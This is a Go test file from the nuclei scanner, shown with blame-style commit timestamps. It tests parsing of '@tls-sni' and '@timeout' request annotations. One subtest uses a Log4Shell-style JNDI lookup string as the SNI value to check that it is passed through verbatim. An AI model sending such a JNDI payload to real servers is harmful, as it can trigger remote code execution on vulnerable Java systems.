2022-08-23 12:45:55 +05:30
|
|
|
package http
|
|
|
|
|
|
|
|
|
|
import (
|
|
|
|
|
"context"
|
|
|
|
|
"net/http"
|
|
|
|
|
"testing"
|
|
|
|
|
|
2023-10-17 17:44:13 +05:30
|
|
|
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/http/httpclientpool"
|
2023-01-24 22:04:52 +05:30
|
|
|
"github.com/projectdiscovery/retryablehttp-go"
|
2022-08-23 12:45:55 +05:30
|
|
|
"github.com/stretchr/testify/require"
|
|
|
|
|
)
|
|
|
|
|
|
2023-12-06 09:45:30 +01:00
|
|
|
func TestRequestParseAnnotationsSNI(t *testing.T) {
|
|
|
|
|
t.Run("compliant-SNI-value", func(t *testing.T) {
|
|
|
|
|
req := &Request{connConfiguration: &httpclientpool.Configuration{}}
|
|
|
|
|
rawRequest := `@tls-sni: github.com
|
|
|
|
|
GET / HTTP/1.1
|
|
|
|
|
Host: {{Hostname}}`
|
|
|
|
|
|
|
|
|
|
httpReq, err := retryablehttp.NewRequest(http.MethodGet, "https://example.com", nil)
|
|
|
|
|
require.Nil(t, err, "could not create http request")
|
|
|
|
|
|
|
|
|
|
overrides, modified := req.parseAnnotations(rawRequest, httpReq)
|
|
|
|
|
require.True(t, modified, "could not apply request annotations")
|
|
|
|
|
require.Equal(t, "github.com", overrides.request.TLS.ServerName)
|
2025-07-09 14:47:26 -05:00
|
|
|
require.Equal(t, "example.com", overrides.request.Host)
|
2023-12-06 09:45:30 +01:00
|
|
|
})
|
|
|
|
|
t.Run("non-compliant-SNI-value", func(t *testing.T) {
|
|
|
|
|
req := &Request{connConfiguration: &httpclientpool.Configuration{}}
|
|
|
|
|
rawRequest := `@tls-sni: ${jndi:ldap://${hostName}.test.com}
|
|
|
|
|
GET / HTTP/1.1
|
|
|
|
|
Host: {{Hostname}}`
|
|
|
|
|
|
|
|
|
|
httpReq, err := retryablehttp.NewRequest(http.MethodGet, "https://example.com", nil)
|
|
|
|
|
require.Nil(t, err, "could not create http request")
|
|
|
|
|
|
|
|
|
|
overrides, modified := req.parseAnnotations(rawRequest, httpReq)
|
|
|
|
|
require.True(t, modified, "could not apply request annotations")
|
|
|
|
|
require.Equal(t, "${jndi:ldap://${hostName}.test.com}", overrides.request.TLS.ServerName)
|
2025-07-09 14:47:26 -05:00
|
|
|
require.Equal(t, "example.com", overrides.request.Host)
|
2023-12-06 09:45:30 +01:00
|
|
|
})
|
|
|
|
|
}
|
|
|
|
|
|
2022-08-23 12:45:55 +05:30
|
|
|
func TestRequestParseAnnotationsTimeout(t *testing.T) {
|
|
|
|
|
t.Run("positive", func(t *testing.T) {
|
|
|
|
|
request := &Request{
|
|
|
|
|
connConfiguration: &httpclientpool.Configuration{NoTimeout: true},
|
|
|
|
|
}
|
|
|
|
|
rawRequest := `@timeout: 2s
|
|
|
|
|
GET / HTTP/1.1
|
|
|
|
|
Host: {{Hostname}}`
|
|
|
|
|
|
2023-01-24 22:04:52 +05:30
|
|
|
httpReq, err := retryablehttp.NewRequest(http.MethodGet, "https://example.com", nil)
|
2022-08-23 12:45:55 +05:30
|
|
|
require.Nil(t, err, "could not create http request")
|
|
|
|
|
|
2023-02-07 09:32:10 +01:00
|
|
|
overrides, modified := request.parseAnnotations(rawRequest, httpReq)
|
|
|
|
|
require.NotNil(t, overrides.cancelFunc, "could not initialize valid cancel function")
|
2022-08-23 12:45:55 +05:30
|
|
|
require.True(t, modified, "could not get correct modified value")
|
2023-02-07 09:32:10 +01:00
|
|
|
_, deadlined := overrides.request.Context().Deadline()
|
2022-08-23 12:45:55 +05:30
|
|
|
require.True(t, deadlined, "could not get set request deadline")
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
t.Run("negative", func(t *testing.T) {
|
|
|
|
|
request := &Request{
|
|
|
|
|
connConfiguration: &httpclientpool.Configuration{},
|
|
|
|
|
}
|
|
|
|
|
rawRequest := `GET / HTTP/1.1
|
|
|
|
|
Host: {{Hostname}}`
|
|
|
|
|
|
2023-01-24 22:04:52 +05:30
|
|
|
httpReq, err := retryablehttp.NewRequestWithContext(context.Background(), http.MethodGet, "https://example.com", nil)
|
2022-08-23 12:45:55 +05:30
|
|
|
require.Nil(t, err, "could not create http request")
|
|
|
|
|
|
2023-02-07 09:32:10 +01:00
|
|
|
newRequestWithOverrides, modified := request.parseAnnotations(rawRequest, httpReq)
|
|
|
|
|
require.Nil(t, newRequestWithOverrides.cancelFunc, "cancel function should be nil")
|
2022-08-23 12:45:55 +05:30
|
|
|
require.False(t, modified, "could not get correct modified value")
|
2023-02-07 09:32:10 +01:00
|
|
|
_, deadlined := newRequestWithOverrides.request.Context().Deadline()
|
2022-08-23 12:45:55 +05:30
|
|
|
require.False(t, deadlined, "could not get set request deadline")
|
|
|
|
|
})
|
|
|
|
|
}
|